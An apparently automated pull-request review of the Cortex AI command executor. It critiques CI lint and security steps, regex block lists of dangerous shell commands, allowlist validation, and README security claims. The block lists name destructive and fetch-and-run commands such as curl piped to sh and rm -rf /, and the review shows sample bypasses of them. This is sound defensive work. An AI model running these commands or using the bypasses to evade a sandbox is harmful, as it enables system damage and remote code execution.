.github/workflows/automation.yml (1)
57-65: Lint checks never fail CI due to|| echopattern.Both
black --checkandpylintuse|| echo "::warning::"which means they emit warnings but never fail the workflow. If the goal is to enforce code quality, consider removing the fallback or using a threshold:- name: Check formatting with black run: | - black --check cortex/ || echo "::warning::Code formatting issues found. Run 'black cortex/' to fix." + black --check cortex/ - name: Lint with pylint run: | - pylint cortex/ --exit-zero --output-format=text | tee pylint-report.txt - score=$(tail -n 2 pylint-report.txt | head -n 1 | grep -oP '\d+\.\d+') - echo "Pylint score: $score" + pylint cortex/ --fail-under=7.0 --output-format=textIf you prefer gradual enforcement, consider using
continue-on-error: trueat the step level so the job still shows as failed but doesn't block merging.src/sandbox_executor.py (3)
129-139: Good security additions - consider edge cases for bypass prevention.These patterns significantly improve security coverage for remote code execution and injection attacks. However, some patterns could be bypassed:
- Lines 130-134: Attackers could use intermediate variables or subshells:
url=http://x.com/s; curl $url | sh- Lines 137-138: Python patterns could be bypassed with string manipulation:
python -c "ex""ec(...)"- Line 139:
base64 -d ... |won't catchbase64 --decodeConsider adding these patterns for more comprehensive coverage:
r'base64\s+-d\s+.*\|', # base64 decode to pipe + r'base64\s+--decode\s+.*\|', # base64 --decode to pipe r'>\s*/etc/', # Write to /etc + r'\btee\s+/etc/', # tee to /etc + r'\bcp\s+.*\s+/etc/', # cp to /etc
141-143: Privilege escalation patterns may miss common variants.The
$anchor at the end ofsudo\s+su\s*$andsudo\s+-i\s*$means these won't match:
sudo su -(switch to root with login shell)sudo su rootsudo -i command(run command as root)# Privilege escalation - r'sudo\s+su\s*$', # sudo su - r'sudo\s+-i\s*$', # sudo -i (interactive root) + r'sudo\s+su\b', # sudo su (any variant) + r'sudo\s+-i\b', # sudo -i (interactive root, any variant)
264-266: Pre-compile regex patterns for performance.The
DANGEROUS_PATTERNSlist is iterated withre.search()on every command validation. Pre-compiling the patterns would improve performance, especially under high load.# Dangerous patterns to block - DANGEROUS_PATTERNS = [ - r'rm\s+-rf\s+[/\*]', # rm -rf / or rm -rf /* + DANGEROUS_PATTERNS_RAW = [ + r'rm\s+-rf\s+[/\*]', # rm -rf / or rm -rf /* # ... rest of patterns ... ] + DANGEROUS_PATTERNS = [re.compile(p, re.IGNORECASE) for p in DANGEROUS_PATTERNS_RAW] # Then in validate_command: def validate_command(self, command: str) -> Tuple[bool, Optional[str]]: for pattern in self.DANGEROUS_PATTERNS: - if re.search(pattern, command, re.IGNORECASE): - return False, f"Dangerous pattern detected: {pattern}" + if pattern.search(command): + return False, f"Dangerous pattern detected: {pattern.pattern}"cortex/utils/commands.py (1)
139-201: High cognitive complexity; consider refactoring.SonarCloud flags this function with cognitive complexity of 33 (allowed: 15). Extract the dangerous character checking logic (lines 160-188) into a separate helper function like
_check_dangerous_chars()and the strict mode validation (lines 190-199) into_validate_allowlist().+def _check_dangerous_chars(command: str) -> Tuple[bool, Optional[str]]: + """Check for dangerous shell metacharacters.""" + dangerous_chars = ['`', '$', '&&', '||', ';', '\n', '\r'] + for char in dangerous_chars: + if char in command: + if char == '$' and '$(' in command: + safe_substitutions = [ + '$(dpkg --print-architecture)', + '$(lsb_release -cs)', + '$(uname -r)', + '$(uname -m)', + '$(whoami)', + '$(hostname)', + ] + found_subs = re.findall(r'\$\([^)]+\)', command) + for sub in found_subs: + if sub not in safe_substitutions: + return False, f"Unsafe command substitution: {sub}" + elif char == ';': + return False, "Semicolon not allowed in commands" + elif char == '`': + return False, "Backtick command substitution not allowed" + return True, Nonecortex/utils/__init__.py (1)
3-5: Consider exportingCommandValidationError.Since
run_commandraisesCommandValidationError, callers importing fromcortex.utilscannot catch it without a direct import fromcortex.utils.commands. Either export it or document that callers should import it directly.-from cortex.utils.commands import CommandResult, run_command, validate_command +from cortex.utils.commands import ( + CommandResult, + CommandValidationError, + run_command, + validate_command, +) -__all__ = ['CommandResult', 'run_command', 'validate_command'] +__all__ = ['CommandResult', 'CommandValidationError', 'run_command', 'validate_command']CHANGELOG.md (1)
22-27: Clarify "(Pending)" entries in changelog.Items marked "(Pending)" under "Fixed" and "Security" sections are confusing—if they're not yet fixed, they shouldn't appear in the changelog. Consider moving these to a "Known Issues" section or removing them until the fixes are actually merged.
### Fixed -- (Pending) Shell injection vulnerability in coordinator.py -- (Pending) CI/CD pipeline test directory path +- Shell injection vulnerability in coordinator.py (see `cortex/utils/commands.py`) +- CI/CD pipeline test directory path ### Security -- (Pending) Added additional dangerous command patterns to sandbox +- Added additional dangerous command patterns to sandbox executorcortex/coordinator.py (1)
14-28: Consider centralizing dangerous patterns to avoid duplication.The PR summary indicates that
src/sandbox_executor.pyalso maintains an expanded list of dangerous patterns. Maintaining identical pattern lists in multiple files creates a maintenance burden and risk of inconsistency.Consider extracting these patterns to a shared module (e.g.,
cortex/utils/security.pyor using the patterns fromcortex/utils/commands.pymentioned in the PR summary):# In cortex/utils/security.py DANGEROUS_PATTERNS = [ r'rm\s+-rf\s+[/\*]', r'rm\s+--no-preserve-root', # ... complete list ] # In this file from cortex.utils.security import DANGEROUS_PATTERNSROADMAP.md (1)

Lint job doesn't install project dependencies, and mypy is never run.
The lint job installs black pylint mypy but doesn't install the project or its dependencies. This will cause pylint and mypy to report false positives for missing imports. Additionally, mypy is installed but never executed.

In .github/workflows/automation.yml around lines 52 to 65 the lint job installs
only black/pylint/mypy but does not install the project or its dependencies and
also never runs mypy; update the workflow to install project deps (for example
run pip install -r requirements.txt and/or pip install -e .[dev] or the
project's chosen install command) before running linters, and add a step to
execute mypy (e.g. mypy cortex/ with the desired flags) so both pylint and mypy
see installed packages and run correctly.

Security checks don't fail CI, undermining their purpose.
Both bandit and safety use || echo "::warning::" which allows the workflow to pass even when security issues are found. For a PR focused on security hardening, this is counterproductive.

In .github/workflows/automation.yml around lines 83-90, the Bandit and Safety
steps currently swallow failures via "|| echo '::warning::...'", so security
checks never fail CI; remove those trailing "|| echo" fallbacks and let the
commands return non-zero on issues, and if you still want the workflow to finish
for visibility add continue-on-error: true to each respective step (while
keeping the commands plain so they fail when issues are found).

Based on my verification, I can now provide the rewritten review comment:
Security claims are not aligned with current implementation.
The README claims "Enterprise-Grade Security" (line 60) and states that AI-generated commands are "checked against a security allowlist" (line 423). However, the actual implementation in cortex/coordinator.py uses only pattern-based blacklist validation (DANGEROUS_PATTERNS) and does not enforce an allowlist. Additionally, commands are executed with shell=True, which remains vulnerable to shell injection despite pattern checks.
While a security allowlist exists in cortex/utils/commands.py, it is not used by the coordinator. The ROADMAP.md indicates 3 critical security issues remain unfixed.
Consider either:
- Implementing actual allowlist enforcement before claiming "security allowlist" validation, or
- Correcting the claims to reflect current reality:
-| **Enterprise-Grade Security** | AI actions are sandboxed and validated |
+| **Security Hardening** | AI actions are sandboxed with pattern validation (in development) |-Yes. All commands are validated and executed in a Firejail sandbox with AppArmor policies. AI-generated commands are checked against a security allowlist.
+Commands are validated against dangerous patterns and executed in a Firejail sandbox with AppArmor policies. Additional security hardening is in active development.Also applies to: 421-424
🤖 Prompt for AI Agents
In README.md around lines 60 and 421-424, the security claim "Enterprise-Grade
Security" and the statement that AI commands are "checked against a security
allowlist" do not match the current implementation in cortex/coordinator.py
which only applies pattern-based blacklisting (DANGEROUS_PATTERNS) and uses
shell=True; either update the coordinator to enforce the existing allowlist from
cortex/utils/commands.py and perform allowlist checks before executing commands
while switching to subprocess execution without shell=True (pass command as a
list) to avoid shell injection, or else revise the README text to remove/soften
the allowlist claim and accurately describe the current blacklist approach and
remaining risks.

Consider pinning or constraining LLM SDK versions for reproducible deployments.
This is an application (not a library), and loose version constraints create reproducibility risks. The openai constraint allows major version changes (1.0.0 → 2.8.1), and both SDKs have significant API evolution across versions. Without a lock file or CI/CD validation of minimum versions, deployments may use incompatible SDK versions.
Recommended approach:
- Pin to tested minor versions:
anthropic==0.x.x, openai==1.x.xoropenai==2.x.x(pick one) - Alternatively, add upper bounds:
anthropic>=0.18.0,<1.0.0andopenai>=1.0.0,<2.0.0(or<3.0.0if v2 API is verified) - Maintain a lock file (
pip freezeoutput) alongside requirements.txt for production deployments
🤖 Prompt for AI Agents
In requirements.txt around lines 4-5, the anthropic and openai dependencies use
loose version ranges which risks incompatible installs; update these pins or add
upper bounds to create reproducible, tested installs (for example pin to the
tested minor versions or add <1.0.0 / <2.0.0 upper bounds), and add or commit a
pip freeze-generated lock file for production; pick and document the exact
version strategy (strict pins vs. bounded ranges) and update requirements.txt
accordingly.

Inconsistency: roadmap proposes proper fix, but implementation is incomplete.
This section describes the correct approach to fixing shell injection (using shlex.split() with shell=False). However, the actual implementation in cortex/coordinator.py only adds pattern-based validation while keeping shell=True, which doesn't fully resolve the vulnerability.
Either:
- Update the implementation in
cortex/coordinator.pyto match this roadmap (recommended), or - Update this roadmap section to reflect that only partial mitigation was implemented in this PR, and mark the complete fix for a future phase
Based on the "Critical" priority designation, option 1 is strongly recommended.
🤖 Prompt for AI Agents
In ROADMAP.md around lines 22-54, the roadmap shows switching to shlex.split()
and shell=False for subprocess.run but the actual implementation in
cortex/coordinator.py still uses shell=True with only pattern validation; update
the implementation to match the roadmap by replacing subprocess.run to call
shlex.split(validated_cmd) with shell=False, implement a robust
_validate_and_sanitize(command) that whitelists/escapes allowed commands and
arguments (used before splitting), remove reliance on shell=True, and add tests
verifying injection vectors are rejected and legitimate commands still run;
alternatively if you cannot complete that now, update this ROADMAP section to
state the PR only added pattern-based mitigation and mark the full fix as a
follow-up.

Requirements parsing doesn't handle inline comments.
The current parsing logic will include inline comments as part of the package specification. For example, anthropic>=0.18.0 # LLM API would be parsed as anthropic>=0.18.0 # LLM API instead of just anthropic>=0.18.0.
Additionally, the fallback dependencies don't include typing-extensions which is present in the actual requirements.txt.
if os.path.exists(requirements_path):
with open(requirements_path, "r", encoding="utf-8") as fh:
- requirements = [line.strip() for line in fh if line.strip() and not line.startswith("#") and not line.startswith("-r")]
+ requirements = [
+ line.split("#")[0].strip()
+ for line in fh
+ if line.strip() and not line.startswith("#") and not line.startswith("-r")
+ ]
+ requirements = [req for req in requirements if req] # Remove empty after comment strip
else:
- requirements = ["anthropic>=0.18.0", "openai>=1.0.0"]
+ requirements = ["anthropic>=0.18.0", "openai>=1.0.0", "typing-extensions>=4.0.0"]🤖 Prompt for AI Agents
In setup.py around lines 7 to 16, the requirements parsing currently strips
full-line comments but leaves inline comments and the fallback list omits
typing-extensions; update the parser to remove inline comments by splitting each
non-empty line at the first '#' and taking the left part before trimming,
continue to skip lines that are empty after stripping or that start with "-r",
and ensure the fallback requirements list includes "typing-extensions" alongside
"anthropic>=0.18.0" and "openai>=1.0.0".
